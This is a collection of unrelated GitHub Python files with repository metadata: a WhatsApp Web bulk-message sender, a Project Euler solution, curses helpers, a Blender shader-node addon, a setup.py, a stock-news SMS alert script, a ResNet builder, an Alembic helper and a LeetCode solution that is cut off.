+{"seq_id":"17452876634","text":"from selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nfrom selenium import *\nimport re\nimport gspread\nfrom oauth2client.service_account import ServiceAccountCredentials\nimport sys\nimport time\nfrom PIL import Image\nimport random \nimport string\nimport os\nfrom app import *\nfrom pyvirtualdisplay import Display\n\nclass Sender:\n\n def __init__(self, message, name_google_archive, web):\n self.pref = ''.join(random.sample(string.hexdigits, 8))\n self.message = message\n self.name_google_archive = name_google_archive\n self.src_img_qr = None\n self.driver = None\n self.display = Display(visible=0, size=(1024, 768))\n self.web = web\n\n def connect(self):\n self.display.start()\n # Crear el perfil de firefox\n profile = webdriver.FirefoxProfile()\n # Dar las opciones de firefox para permitir el cambio de ventana con contenido en el dom\n profile.set_preference(\"dom.disable_beforeunload\",True)\n profile.set_preference(\"javascript.enabled\", False)\n # Crear el driver con las opciones que deseamos\n self.driver = webdriver.Firefox(profile)\n self.driver.maximize_window()\n # levantar el firefox controlado con la pagina web whatsapp\n try:\n self.driver.get(\"https://web.whatsapp.com/\")\n except:\n return''''''\n\n return ''''''\n\n def get_qr(self):\n try:\n img_qr = self.driver.find_element_by_xpath(\"//img[@alt='Scan me!']\")\n self.src_img_qr = img_qr.get_attribute(\"src\")\n self.driver.get_screenshot_as_file(self.pref+'_screenshot.png')\n pos = img_qr.location\n siz = img_qr.size\n x_i = pos['x'] - 15\n y_i = pos['y'] - 15\n x_f = int(siz['width'] + 15 + pos['x'])\n y_f = int(siz['height'] + 15 + pos['y'])\n img = Image.open(self.pref+'_screenshot.png')\n img2 = img.crop((x_i,y_i,x_f,y_f))\n img2.save(self.pref+'_crop.png')\n return ''''''\n except:\n time.sleep(2)\n return self.get_qr() \n\n def get_new_qr(self):\n change_page = False\n\n while not change_page:\n try:\n refresh_button = self.driver.find_element_by_xpath('//button[@class=\"HnNfm\"]')\n self.driver.close()\n os.remove(self.pref+'_screenshot.png')\n os.remove(self.pref+'_crop.png')\n self.display.stop()\n self.web.bussy = False\n return ''''''\n except:\n pass\n try:\n new_img = self.driver.find_element_by_xpath(\"//img[@alt='Scan me!']\")\n if new_img.get_attribute(\"src\") != self.src_img_qr:\n print(\"change image QR\")\n img_qr = self.driver.find_element_by_xpath(\"//img[@alt='Scan me!']\")\n self.src_img_qr = img_qr.get_attribute(\"src\")\n self.driver.get_screenshot_as_file(self.pref+'_screenshot.png')\n pos = img_qr.location\n siz = img_qr.size\n x_i = pos['x'] - 15\n y_i = pos['y'] - 15\n x_f = int(siz['width'] + 15 + pos['x'])\n y_f = int(siz['height'] + 15 + pos['y'])\n img = Image.open(self.pref+'_screenshot.png')\n img2 = img.crop((x_i,y_i,x_f,y_f))\n img2.save(self.pref+'_crop.png')\n return ''''''\n except:\n change_page = True\n return ''''''\n \n def send_messages(self):\n\n os.remove(self.pref+'_screenshot.png')\n os.remove(self.pref+'_crop.png')\n\n #borra los archivos creados\n\n scope = ['https://spreadsheets.google.com/feeds']\n # se cargan las credenciales del json\n creds = ServiceAccountCredentials.from_json_keyfile_name('client_secret.json', scope)\n client = gspread.authorize(creds)\n # se \"obtiene\" el excel en este script se le pasa el nombre por argumentos en esta version pero cambiando el metodo puede por el link ACORDARSE COMPARTIR EL DOCUMENTO \n # con el usuario que se creo en el client secret o con el usuario de que son las credenciales\n sheet = client.open(self.name_google_archive).sheet1\n # tomar contenido del shet y guardalo en una variable\n list_of_hashes = sheet.get_all_records()\n pat = re.compile(r'\\s+')\n # ciclo \n ind = 2\n for name in list_of_hashes:\n # se crea el mensaje si se quiere \n string = self.message.replace(\"(nombre)\",(name['Nombre']))\n #se reemplaza (nombre) por nombre del contacto\n\n self.driver.get(\"https://web.whatsapp.com/send?phone=\"+str(name['Telefono']))\n\n msg_sended = False\n tried = 0\n while not msg_sended:\n try:\n tried += 1\n inp_xpath = '//div[@class=\"_2S1VP copyable-text selectable-text\"]'\n input_box = self.driver.find_element_by_xpath(inp_xpath)\n # se guarda el cuadro de texto por la class \n input_box.send_keys(string + Keys.ENTER)\n # se manda la tecla enter y un mensaje ya creado\n time.sleep(2)\n msg_sended = True\n sheet.update_acell('C'+str(ind),'Si')\n except:\n if tried > 3:\n msg_sended = True\n sheet.update_acell('C'+str(ind),'No')\n time.sleep(2)\n ind += 1\n # termina el ciclo y se termina la ejecucion del firefox zombie\n self.driver.close()\n self.display.stop()\n self.web.bussy = False\n return ''''''\n\n\n\n\n\n","repo_name":"Techo-Chile/TechoWSP","sub_path":"Sender.py","file_name":"Sender.py","file_ext":"py","file_size_in_byte":6595,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"}
+{"seq_id":"15270686686","text":"\"\"\"\nAll square roots are periodic when written as continued fractions and can be written in the form:\nsqrt(n) = a0 + (1 / (a1 + (1 / ...\n\n\n(The full problem statement is difficult to reproduce in plain text. See https://projecteuler.net/problem=64 )\n\nExactly four continued fractions, for N <= 13 have an odd period.\nHow many continued fractions for N ≤ 10000 have an odd period?\n\"\"\"\nimport common.continued_fraction as cf\n\nfrom euler import euler_problem\n\n\n@euler_problem()\ndef euler064(n: int | str) -> int:\n max_value = int(n)\n\n # starting values\n counter = 0\n value, base = 1, 0\n\n while value <= max_value:\n if (base + 1) ** 2 == value:\n base += 1\n else:\n frac = cf.cf_for_sqrt(value, base=base)\n\n # Increment counter if period is odd.\n if frac.period % 2 == 1:\n counter += 1\n\n value += 1\n\n return counter\n\n\nif __name__ == '__main__':\n print(euler064(13))\n print(euler064(10_000))\n","repo_name":"gfcharles/euler","sub_path":"python/euler064.py","file_name":"euler064.py","file_ext":"py","file_size_in_byte":993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"42967602057","text":"import curses\nfrom math import floor\n__author__ = 'Kellan Childers'\n\n\ndef add_title(window, title, window_y=0, bold=True, underline=True, color_scheme=1):\n \"\"\"Add a title centered on a line.\n\n :param window: the window to title\n :param title: the title to add\n :param window_y: the height of the title\n :param bold: whether or not to bold the title (default True)\n :type bold: Boolean\n :param underline: whether or not to underline the title (default True)\n :type underline: Boolean\n :param color_scheme: the scheme to use for coloring the title (default 1)\n :return: null\n \"\"\"\n height, width = window.getmaxyx()\n _, title_x = center(height, width, 1, len(title))\n window.addstr(window_y, title_x, title,\n (curses.A_BOLD if bold else 0) |\n (curses.A_UNDERLINE if underline else 0)|\n (curses.color_pair(color_scheme)))\n window.refresh()\n\n\ndef center(console_height, console_width, window_height, window_width):\n \"\"\"Find point to start window on center.\n\n :param console_height: the height of the console\n :param console_width: the width of the console\n :param window_height: the height of the window\n :param window_width: the width of the window\n :return: a tuple representing the coordinates of the start window\n \"\"\"\n start_y = floor((console_height-window_height)/2)\n start_x = floor((console_width-window_width)/2)\n return start_y, start_x\n\n\ndef color_border(window, start_y, start_x, stop_y, stop_x, color):\n \"\"\"Create a border around a window in a certain color.\n\n :param window: The window to add a border to.\n :param start_y: The y portion of the starting coordinate on the screen\n :param start_x: The x portion of the starting coordinate on the screen\n :param stop_y: The y portion of the ending coordinate on the screen\n :param stop_x: The x portion of the ending coordinate on the scree\n :param color: The color to paint the border\n :return:\n \"\"\"\n try:\n for i in range(start_y, stop_y):\n window.addstr(i, start_x, ' ', curses.color_pair(color))\n window.addstr(i, stop_x, ' ', curses.color_pair(color))\n for i in range(start_x, stop_x):\n window.addstr(start_y, i, ' ', curses.color_pair(color))\n window.addstr(stop_y, i, ' ', curses.color_pair(color))\n # for loops fail to add last element.\n window.addstr(stop_y, stop_x, ' ', curses.color_pair(color))\n except curses.error:\n # curses.error is raised at end of line and can safely be ignored.\n pass\n\n\ndef size_lim(console_height, console_width, bound_height, bound_width):\n \"\"\"Limit the size of a window if the console is over a certain size.\n\n :param console_height: the height of the window\n :param console_width: the width of the window\n :param bound_height: the minimum height to start binding the window\n :param bound_width: the minimum width to start binding the window\n :return: a pair of dimensions for the window\n \"\"\"\n y = console_height if console_height <= bound_height else floor(7*console_height/8)\n x = console_width if console_width <= bound_width else floor(7*console_width/8)\n return y, x\n","repo_name":"Doctor-Gandalf/Agile_Engine","sub_path":"cursesview/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"10441068835","text":"bl_info = {\n \"name\": \"Shader Selector Nodes\",\n \"description\": \"Shader nodes that allow selection of images and textures.\",\n \"author\": \"Omar Emara\",\n \"version\": (1, 0, 0),\n \"blender\": (2, 93, 0),\n \"location\": \"Shader Nodes -> Add Menu -> Add Texture -> Image Selector\",\n \"category\": \"Node\",\n \"warning\": \"This version is still in development.\"\n}\n\nimport bpy\nfrom bpy.props import *\nfrom dataclasses import dataclass\n\ndef updateNodeTree(self, context):\n nodes = context.space_data.node_tree.nodes\n if self.nodeName not in nodes: return\n node = nodes[self.nodeName]\n node.updateNodeTree()\n\nclass ImageListItem(bpy.types.PropertyGroup):\n bl_idname = \"SSN_ImageListItem\"\n\n image: PointerProperty(type = bpy.types.Image, update = updateNodeTree)\n nodeName: StringProperty()\n\nclass ImageUIList(bpy.types.UIList):\n bl_idname = \"SSN_UL_ImageUIList\"\n\n def draw_item(self, context, layout, itemContainer, item, icon, activeContainer,\n activePropertyName, index):\n row = layout.row(align = True)\n row.template_ID(item, \"image\", new = \"image.new\", open = \"image.open\")\n activeIndex = getattr(activeContainer, activePropertyName)\n row.label(icon = \"LAYER_ACTIVE\" if index == activeIndex else \"LAYER_USED\")\n\nclass BaseOperator(bpy.types.Operator):\n nodeName: StringProperty()\n\n def getNode(self, context):\n return context.space_data.node_tree.nodes[self.nodeName]\n\nclass AddImage(BaseOperator):\n bl_idname = \"ssn.add_image\"\n bl_label = \"Add\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n item = node.imageItems.add()\n item.nodeName = self.nodeName\n node.updateNodeTree()\n return{\"FINISHED\"}\n\nclass BrowseImages(BaseOperator):\n bl_idname = \"ssn.browse_images\"\n bl_label = \"Browse\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n \n filter_image: BoolProperty(default=True, options={\"HIDDEN\", \"SKIP_SAVE\"})\n filter_folder: BoolProperty(default=True, options={\"HIDDEN\", \"SKIP_SAVE\"})\n directory: StringProperty(subtype = \"DIR_PATH\")\n files: CollectionProperty(type = bpy.types.OperatorFileListElement,\n options = {\"HIDDEN\", \"SKIP_SAVE\"})\n\n def invoke(self, context, _event):\n context.window_manager.fileselect_add(self)\n return {\"RUNNING_MODAL\"}\n\n def execute(self, context):\n node = self.getNode(context)\n imageItems = node.imageItems\n for imageFile in self.files:\n image = bpy.data.images.load(self.directory + imageFile.name, check_existing = True)\n item = imageItems.add()\n item.image = image\n item.nodeName = self.nodeName\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nclass ClearImages(BaseOperator):\n bl_idname = \"ssn.clear_images\"\n bl_label = \"Clear\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n node.imageItems.clear()\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nclass RemoveImage(BaseOperator):\n bl_idname = \"ssn.remove_image\"\n bl_label = \"Remove\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n node.imageItems.remove(node.activeImageIndex)\n if node.activeImageIndex == len(node.imageItems) and node.activeImageIndex != 0:\n node.activeImageIndex -= 1\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nclass MoveImageUp(BaseOperator):\n bl_idname = \"ssn.move_image_up\"\n bl_label = \"Move Up\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n if (node.activeImageIndex == 0): return {\"FINISHED\"}\n newIndex = node.activeImageIndex - 1\n node.imageItems.move(newIndex, node.activeImageIndex)\n node.activeImageIndex = newIndex\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nclass MoveImageDown(BaseOperator):\n bl_idname = \"ssn.move_image_down\"\n bl_label = \"Move Down\"\n bl_options = {\"REGISTER\", \"UNDO\"}\n\n def execute(self, context):\n node = self.getNode(context)\n newIndex = node.activeImageIndex + 1\n if (newIndex >= len(node.imageItems)): return {\"FINISHED\"}\n node.imageItems.move(newIndex, node.activeImageIndex)\n node.activeImageIndex = newIndex\n node.updateNodeTree()\n return {\"FINISHED\"}\n\nselectionTypeItems = [\n (\"INDEX\", \"Index\", \"\", \"NONE\", 0),\n (\"RANDOM_PER_OBJECT\", \"Random Per Object\", \"\", \"NONE\", 1),\n (\"RANDOM_PER_ISLAND\", \"Random Per Island\", \"\", \"NONE\", 2),\n]\n\n@dataclass\nclass InputLink:\n inputName: str\n fromSocket: bpy.types.NodeSocket\n\n@dataclass\nclass OutputLink:\n outputName: str\n toSocket: bpy.types.NodeSocket\n\nclass ImageSelectorShaderNode(bpy.types.ShaderNodeCustomGroup):\n bl_idname = \"SSN_ImageSelectorShaderNode\"\n bl_label = \"Image Selector\"\n bl_width_default = 240\n\n activeImageIndex: IntProperty()\n imageItems: CollectionProperty(type = ImageListItem)\n\n vectorWasLinked: BoolProperty()\n\n selectionType: EnumProperty(name = \"Selection Type\", items = selectionTypeItems,\n update = lambda self, context : self.updateNodeTree())\n\n def draw_buttons(self, context, layout):\n layout.prop(self, \"selectionType\", text = \"\")\n\n col = layout.column(align = True)\n\n col.template_list(ImageUIList.bl_idname, \"\", self, \"imageItems\", self, \"activeImageIndex\")\n\n row = col.row(align = True)\n properties = row.operator(AddImage.bl_idname)\n properties.nodeName = self.name\n properties = row.operator(BrowseImages.bl_idname)\n properties.nodeName = self.name\n\n row = col.row(align = True)\n properties = row.operator(ClearImages.bl_idname)\n properties.nodeName = self.name\n properties = row.operator(MoveImageUp.bl_idname, text = \"\", icon = \"TRIA_UP\")\n properties.nodeName = self.name\n properties = row.operator(MoveImageDown.bl_idname, text = \"\", icon = \"TRIA_DOWN\")\n properties.nodeName = self.name\n properties = row.operator(RemoveImage.bl_idname, text = \"\", icon = \"X\")\n properties.nodeName = self.name\n\n def init(self, context):\n self.updateNodeTree()\n\n def copy(self, sourceNode):\n self.updateNodeTree()\n\n def free(self):\n bpy.data.node_groups.remove(self.node_tree, do_unlink = True)\n\n def getNodeGroupName(self):\n return f\"{self.name}_internal_node_tree\"\n\n def updateNodeGroup(self):\n if self.getNodeGroupName() in bpy.data.node_groups:\n self.node_tree = bpy.data.node_groups[self.getNodeGroupName()]\n else:\n self.node_tree = bpy.data.node_groups.new(self.getNodeGroupName(), \"ShaderNodeTree\")\n\n def updateNodeTree(self):\n self.updateNodeGroup()\n self.storeLinks()\n self.clearNodeTree()\n self.addInputs()\n self.addOutputs()\n self.addNodes()\n self.restoreLinks()\n\n def addOutputs(self):\n self.node_tree.outputs.new(\"NodeSocketColor\", \"Color\")\n\n def addInputs(self):\n vectorSocket = self.node_tree.inputs.new(\"NodeSocketVector\", \"Vector\")\n vectorSocket.hide_value = True\n if self.selectionType == \"INDEX\":\n self.node_tree.inputs.new(\"NodeSocketInt\", \"Index\")\n else:\n self.node_tree.inputs.new(\"NodeSocketInt\", \"Seed\")\n\n def addNodes(self):\n nodes = self.node_tree.nodes\n links = self.node_tree.links\n\n inputNode = nodes.new(\"NodeGroupInput\")\n outputNode = nodes.new(\"NodeGroupOutput\")\n\n inputs = inputNode.outputs\n outputs = outputNode.inputs\n\n if len(self.imageItems) == 0:\n return\n\n vectorIsLinked = any(link.inputName == \"Vector\" for link in self.inputLinks)\n\n if len(self.imageItems) == 1:\n imageNode = nodes.new(\"ShaderNodeTexImage\")\n imageNode.image = self.imageItems[0].image\n if vectorIsLinked:\n links.new(imageNode.inputs[\"Vector\"], inputs[\"Vector\"])\n links.new(outputs[\"Color\"], imageNode.outputs[\"Color\"])\n return\n\n if self.selectionType == \"INDEX\":\n indexSocket = inputs[\"Index\"]\n else:\n if self.selectionType == \"RANDOM_PER_OBJECT\":\n objectInfoNode = nodes.new(\"ShaderNodeObjectInfo\")\n randomSocket = objectInfoNode.outputs[\"Random\"]\n if self.selectionType == \"RANDOM_PER_ISLAND\":\n geometryNode = nodes.new(\"ShaderNodeNewGeometry\")\n randomSocket = geometryNode.outputs[\"Random Per Island\"]\n\n combineXYZNode = nodes.new(\"ShaderNodeCombineXYZ\")\n links.new(combineXYZNode.inputs[\"X\"], randomSocket)\n links.new(combineXYZNode.inputs[\"Y\"], inputs[\"Seed\"])\n\n whiteNoiseNode = nodes.new(\"ShaderNodeTexWhiteNoise\")\n whiteNoiseNode.noise_dimensions = \"2D\"\n links.new(whiteNoiseNode.inputs[\"Vector\"], combineXYZNode.outputs[\"Vector\"])\n\n multiplyNode = nodes.new(\"ShaderNodeMath\")\n multiplyNode.operation = \"MULTIPLY\"\n links.new(multiplyNode.inputs[0], whiteNoiseNode.outputs[\"Value\"])\n multiplyNode.inputs[1].default_value = len(self.imageItems)\n indexSocket = multiplyNode.outputs[\"Value\"]\n\n floorNode = nodes.new(\"ShaderNodeMath\")\n floorNode.operation = \"FLOOR\"\n links.new(floorNode.inputs[\"Value\"], indexSocket)\n\n multiplyNodes = []\n for i, imageItem in enumerate(self.imageItems):\n imageNode = nodes.new(\"ShaderNodeTexImage\")\n imageNode.image = imageItem.image\n if vectorIsLinked:\n links.new(imageNode.inputs[\"Vector\"], inputs[\"Vector\"])\n\n compareNode = nodes.new(\"ShaderNodeMath\")\n compareNode.operation = \"COMPARE\"\n links.new(compareNode.inputs[0], floorNode.outputs[\"Value\"])\n compareNode.inputs[1].default_value = i\n\n multiplyNode = nodes.new(\"ShaderNodeMixRGB\")\n multiplyNode.blend_type = \"MULTIPLY\"\n multiplyNode.inputs[\"Fac\"].default_value = 1\n links.new(multiplyNode.inputs[\"Color1\"], imageNode.outputs[\"Color\"])\n links.new(multiplyNode.inputs[\"Color2\"], compareNode.outputs[\"Value\"])\n multiplyNodes.append(multiplyNode)\n\n lastNode = multiplyNodes[0]\n for i in range(1, len(multiplyNodes)):\n addNode = nodes.new(\"ShaderNodeMixRGB\")\n addNode.blend_type = \"ADD\"\n addNode.inputs[\"Fac\"].default_value = 1\n links.new(addNode.inputs[\"Color1\"], lastNode.outputs[\"Color\"])\n links.new(addNode.inputs[\"Color2\"], multiplyNodes[i].outputs[\"Color\"])\n lastNode = addNode\n\n links.new(outputNode.inputs[\"Color\"], lastNode.outputs[\"Color\"])\n\n def clearNodeTree(self):\n self.node_tree.inputs.clear()\n self.node_tree.outputs.clear()\n self.node_tree.links.clear()\n self.node_tree.nodes.clear()\n\n def storeLinks(self):\n self.inputLinks = []\n for socket in self.inputs:\n if not socket.is_linked: continue\n for link in socket.links:\n self.inputLinks.append(InputLink(socket.name, link.from_socket))\n\n self.outputLinks = []\n for socket in self.outputs:\n if not socket.is_linked: continue\n for link in socket.links:\n self.outputLinks.append(OutputLink(socket.name, link.to_socket))\n\n def restoreLinks(self):\n links = self.id_data.links\n\n for inputLink in self.inputLinks:\n if inputLink.inputName not in self.inputs: continue\n links.new(self.inputs[inputLink.inputName], inputLink.fromSocket)\n\n for outputLink in self.outputLinks:\n if outputLink.outputName not in self.outputs: continue\n links.new(outputLink.toSocket, self.outputs[outputLink.outputName])\n\ndef drawMenu(self, context):\n self.layout.separator()\n operator = self.layout.operator(\"node.add_node\", text = \"Image Selector\")\n operator.type = ImageSelectorShaderNode.bl_idname\n operator.use_transform = True\n\n@bpy.app.handlers.persistent\ndef onDepsgraphUpdate(scene, depsgraph):\n for update in depsgraph.updates:\n if not isinstance(update.id, bpy.types.ShaderNodeTree): continue\n for node in update.id.original.nodes:\n if not isinstance(node, ImageSelectorShaderNode): continue\n vectorIsLinked = node.inputs[\"Vector\"].is_linked\n if node.vectorWasLinked != vectorIsLinked:\n node.vectorWasLinked = vectorIsLinked\n node.updateNodeTree()\n\n\ndef register():\n bpy.utils.register_class(ImageListItem)\n bpy.utils.register_class(ImageUIList)\n bpy.utils.register_class(AddImage)\n bpy.utils.register_class(BrowseImages)\n bpy.utils.register_class(ClearImages)\n bpy.utils.register_class(RemoveImage)\n bpy.utils.register_class(MoveImageUp)\n bpy.utils.register_class(MoveImageDown)\n bpy.utils.register_class(ImageSelectorShaderNode)\n bpy.types.NODE_MT_category_SH_NEW_TEXTURE.append(drawMenu)\n bpy.app.handlers.depsgraph_update_post.append(onDepsgraphUpdate)\n \ndef unregister():\n bpy.utils.unregister_class(ImageListItem)\n bpy.utils.unregister_class(ImageUIList)\n bpy.utils.unregister_class(AddImage)\n bpy.utils.unregister_class(BrowseImages)\n bpy.utils.unregister_class(ClearImages)\n bpy.utils.unregister_class(RemoveImage)\n bpy.utils.unregister_class(MoveImageUp)\n bpy.utils.unregister_class(MoveImageDown)\n bpy.utils.unregister_class(ImageSelectorShaderNode)\n bpy.types.NODE_MT_category_SH_NEW_TEXTURE.remove(drawMenu)\n bpy.app.handlers.depsgraph_update_post.remove(onDepsgraphUpdate)\n\nif __name__ == \"__main__\":\n register()\n","repo_name":"OmarEmaraDev/shader-selector-nodes","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":14003,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"27"}
+{"seq_id":"42684030330","text":"import os\nimport pathlib\n\nfrom setuptools import setup # noqa\n\n# =============================================================================\n# CONSTANTS\n# =============================================================================\n\nPATH = pathlib.Path(os.path.abspath(os.path.dirname(__file__)))\n\n\nREQUIREMENTS = [\"numpy==1.22.1\", \"matplotlib>=3.5.1\"]\n\nwith open(PATH / \"PyOCPS\" / \"__init__.py\") as fp:\n for line in fp.readlines():\n if line.startswith(\"__version__ = \"):\n VERSION = line.split(\"=\", 1)[-1].replace('\"', \"\").strip()\n break\n\n\nwith open(\"README.md\") as fp:\n LONG_DESCRIPTION = fp.read()\n\n\nsource = \"https://github.com/juniors90/PyOCPS\"\ntracker = \"https://github.com/juniors90/PyOCPS/issues\"\ndonate = \"https://www.paypal.com/donate?hosted_button_id=LFAQ7E7TJ4HSY\"\nfunding = \"https://paypal.me/juniors90\"\n\n\n# =============================================================================\n# FUNCTIONS\n# =============================================================================\n\nsetup(\n name=\"PyOCPS\",\n version=VERSION,\n description=\"Optimal Capacitor Placement and Sizing in Distribution Networks\",\n long_description=LONG_DESCRIPTION,\n long_description_content_type=\"text/markdown\",\n author=\"Ferreira Juan David\",\n author_email=\"juandavid9a0@gmail.com\",\n url=\"https://github.com/juniors90/PyOCPS\",\n packages=[\"pyocps\"],\n include_package_data=True,\n platforms=\"any\",\n license=\"The MIT License\",\n install_requires=REQUIREMENTS,\n keywords=[\"Numpy\", \"Matplotlib\", \"Data Visualisation\"],\n project_urls={\n \"Source\": source,\n \"Tracker\": tracker,\n \"Donate\": donate,\n \"Funding\": funding,\n },\n classifiers=[\n \"Development Status :: 4 - Beta\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: OS Independent\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3.8\",\n \"Topic :: Internet :: WWW/HTTP :: Dynamic Content\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n ],\n)","repo_name":"juniors90/PyOCPS","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"41905802462","text":"import requests\nfrom twilio.rest import Client\n\nAV_API_KEY = \"YOURS\"\nAV_ENDPOINT = \"https://www.alphavantage.co/query\"\nNEWS_APY_KEY = \"YOURS\"\nNEWS_ENDPOINT = \"https://newsapi.org/v2/everything\"\naccount_sid = \"YOURS\"\nauth_token = \"YOURS\"\nSTOCK = \"TSLA\"\nCOMPANY_NAME = \"Tesla Inc\"\n\nnews_parameters = {\n \"q\": COMPANY_NAME,\n \"qInTitle\": COMPANY_NAME,\n \"apiKey\": NEWS_APY_KEY\n}\nav_parameters = {\n \"function\": \"TIME_SERIES_DAILY\",\n \"symbol\": STOCK,\n \"apikey\": AV_API_KEY\n}\n\nresponse = requests.get(url=AV_ENDPOINT, params=av_parameters)\nresponse.raise_for_status()\ndata = response.json()[\"Time Series (Daily)\"]\ndata_list = [value for (key, value) in data.items()]\n\ndata_yesterday = float(data_list[0][\"4. close\"])\ndata_before_yesterday = float(data_list[1][\"4. close\"])\ndifference = data_yesterday - data_before_yesterday\nvariation = abs(round((difference / data_yesterday) * 100))\nif difference > 0:\n UPPER = \"+\"\nelse:\n UPPER = \"-\"\n\nif variation >= 5:\n news_response = requests.get(url=NEWS_ENDPOINT, params=news_parameters)\n news_response.raise_for_status()\n news_data = news_response.json()[\"articles\"]\n for new in news_data[:3]:\n client = Client(account_sid, auth_token)\n print(new)\n\n message = client.messages \\\n .create(\n body=f\"{STOCK}: {UPPER}{variation}%\\n\\n{new['title']}\\n\\n{new['description']}\",\n from_='+14242066922',\n to='+56962328152'\n )\n\n print(message.sid)\n","repo_name":"RamonCastill/StockTradingNews","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"34310256696","text":"import tensorflow as tf\nfrom tensorflow import Tensor\nfrom tensorflow.keras.layers import Input, Conv2D, ReLU, BatchNormalization, \\\n Add, AveragePooling2D, Flatten, Dense\nfrom tensorflow.keras.models import Model\nimport utils.configuration as conf\n\nconfiguration_file = \"configs/cnn.config\"\nconfiguration = conf.ConfigurationFile(configuration_file, \"RES\")\n\n\ndef relu_bn(inputs: Tensor) -> Tensor:\n relu = ReLU()(inputs)\n bn = BatchNormalization()(relu)\n return bn\n\n\ndef residual_block(x: Tensor, downsample: bool, filters: int, kernel_size: int = 3) -> Tensor:\n y = Conv2D(kernel_size=kernel_size,\n strides=(1 if not downsample else 2),\n filters=filters,\n padding=\"same\")(x)\n y = relu_bn(y)\n y = Conv2D(kernel_size=kernel_size,\n strides=1,\n filters=filters,\n padding=\"same\")(y)\n\n if downsample:\n x = Conv2D(kernel_size=1,\n strides=2,\n filters=filters,\n padding=\"same\")(x)\n out = Add()([x, y])\n out = relu_bn(out)\n return out\n\n\ndef create_res_net(input_shape, block_list, num_classes):\n inputs = Input(shape=input_shape)\n num_filters = 64\n\n t = BatchNormalization()(inputs)\n t = Conv2D(kernel_size=3,\n strides=1,\n filters=num_filters,\n padding=\"same\")(t)\n t = relu_bn(t)\n\n num_blocks_list = block_list\n for i in range(len(num_blocks_list)):\n num_blocks = num_blocks_list[i]\n for j in range(num_blocks):\n t = residual_block(t, downsample=(j == 0 and i != 0), filters=num_filters)\n num_filters *= 2\n\n t = tf.keras.layers.GlobalAveragePooling2D()(t)\n t = Flatten()(t)\n outputs = Dense(num_classes, activation='softmax')(t)\n\n model = Model(inputs, outputs)\n\n #initial_learning_rate = configuration.get_learning_rate()\n #lr_schedule = tf.keras.experimental.CosineDecay(initial_learning_rate=initial_learning_rate,\n #decay_steps=300000,\n #alpha=0.0001)\n\n #opt = tf.keras.optimizers.SGD(learning_rate=lr_schedule, momentum=0.9, nesterov=True)\n #opt = tf.keras.optimizers.Adam(learning_rate=configuration.get_learning_rate()) # 'adam'\n\n #model.compile(\n #optimizer=opt,\n # optimizer=tf.keras.optimizers.Adam(learning_rate = configuration.get_learning_rate()), # 'adam'\n # loss= losses.crossentropy_loss,\n #loss=tf.keras.losses.CategoricalCrossentropy(from_logits=True),\n #metrics=['accuracy'])\n\n return model","repo_name":"CaptainArmenia/memoria","sub_path":"resnet_functional_model.py","file_name":"resnet_functional_model.py","file_ext":"py","file_size_in_byte":2641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"}
+{"seq_id":"33504461814","text":"from sqlalchemy.sql import table, column\nfrom sqlalchemy import String\n\nconfig_table = table('config',\n column('key', String),\n column('value', String)\n)\n\ndef set_version(op, new_version):\n op.execute(\n config_table.update().where(config_table.c.key == \"version\").\\\n values({'value': new_version})\n )\n","repo_name":"swinslow/spdxSummarizer","sub_path":"spdxSummarizer/migrations/versioning.py","file_name":"versioning.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"27"}
+{"seq_id":"23788391458","text":"# greedy\n# 每当递增时，为满足字典序最小，要从最小的数字开始递增\n# 每当递减时，为满足字典序最小，要从最小最大值开始递减\nclass Solution:\n def smallestNumber(self, pattern: str) -> str:\n n = len(pattern)\n ans = [str(i) for i in range(1, n + 2)]\n\n i = 0\n while i < n:\n ch = pattern[i]\n if ch == \"I\":\n i += 1\n else:\n tmp = i\n while i < n and pattern[i] == \"D\":\n i += 1\n # print(tmp,i)\n ans[tmp:i + 1] = ans[tmp:i + 1][::-1]\n return \"\".join(ans)\n\n\n# dfs\nclass Solution1:\n def smallestNumber(self, pattern: str) -> str:\n n = len(pattern)\n ans = []\n nums = [str(i) for i in range(1, n + 2)]\n\n def dfs(nums, pattern, tmp):\n nonlocal ans\n if len(ans) > 0:\n return\n if len(tmp) == len(nums):\n ans = tmp.copy()\n return\n ans = []\n m = len(tmp)\n\n for num in nums:\n\n if num in tmp:\n continue\n\n if m > 0:\n # print(tmp,pattern[m-1],num,tmp[m-1])\n if (pattern[m - 1] == \"I\" and num < tmp[m - 1]) or (pattern[m - 1] == \"D\" and num > tmp[m - 1]):\n continue\n tmp.append(num)\n dfs(nums, pattern, tmp)\n tmp.pop()\n\n dfs(nums, pattern, [])\n return 